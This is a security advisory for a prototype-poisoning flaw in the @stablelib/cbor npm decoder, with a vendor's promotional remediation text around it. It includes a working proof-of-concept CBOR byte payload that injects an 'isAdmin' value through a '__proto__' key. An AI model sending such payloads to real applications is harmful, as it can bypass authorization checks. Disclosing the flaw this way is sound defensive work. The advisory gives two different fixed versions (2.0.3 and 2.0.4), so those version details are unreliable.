GHSA-w48f-fwg7-ww6p
@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding
Blast Radius
@stablelib/cborReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
@stablelib/cbor decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named __proto__ therefore changes the prototype of the decoded object instead of becoming an ordinary data property.
Details
The decoder builds map results with a plain {} and then stores attacker-controlled keys using bracket assignment.
That is unsafe for special property names. In JavaScript, assigning to obj["__proto__"] on a normal object does not create a plain own property. It invokes the built-in __proto__ setter and replaces the object’s prototype if the supplied value is an object or null.
As a result, a CBOR payload containing a map entry like:
- key:
"__proto__" - value:
{ isAdmin: true }
does not decode to an object with an own property called __proto__. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.
PoC
import { decode } from "@stablelib/cbor";
// CBOR:
// {
// "__proto__": { "isAdmin": true }
// }
//
// a1 map(1)
// 69 text(9)
// "__proto__"
// a1 map(1)
// 67 text(7)
// "isAdmin"
// f5 true
const payload = new Uint8Array([
0xa1,
0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,
0xa1,
0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,
0xf5
]);
const obj = decode(payload);
console.log(Object.hasOwn(obj, "isAdmin")); // false
console.log(obj.isAdmin); // true
console.log(Object.getPrototypeOf(obj).isAdmin); // true
Impact
Any application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.
In practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.
Solution
Upgrade to version 2.0.4.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @stablelib/cbor | all versions | 2.0.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @stablelib/cbor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @stablelib/cbor to 2.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w48f-fwg7-ww6p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w48f-fwg7-ww6p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w48f-fwg7-ww6p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w48f-fwg7-ww6p in your dependencies?
O3 detects GHSA-w48f-fwg7-ww6p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.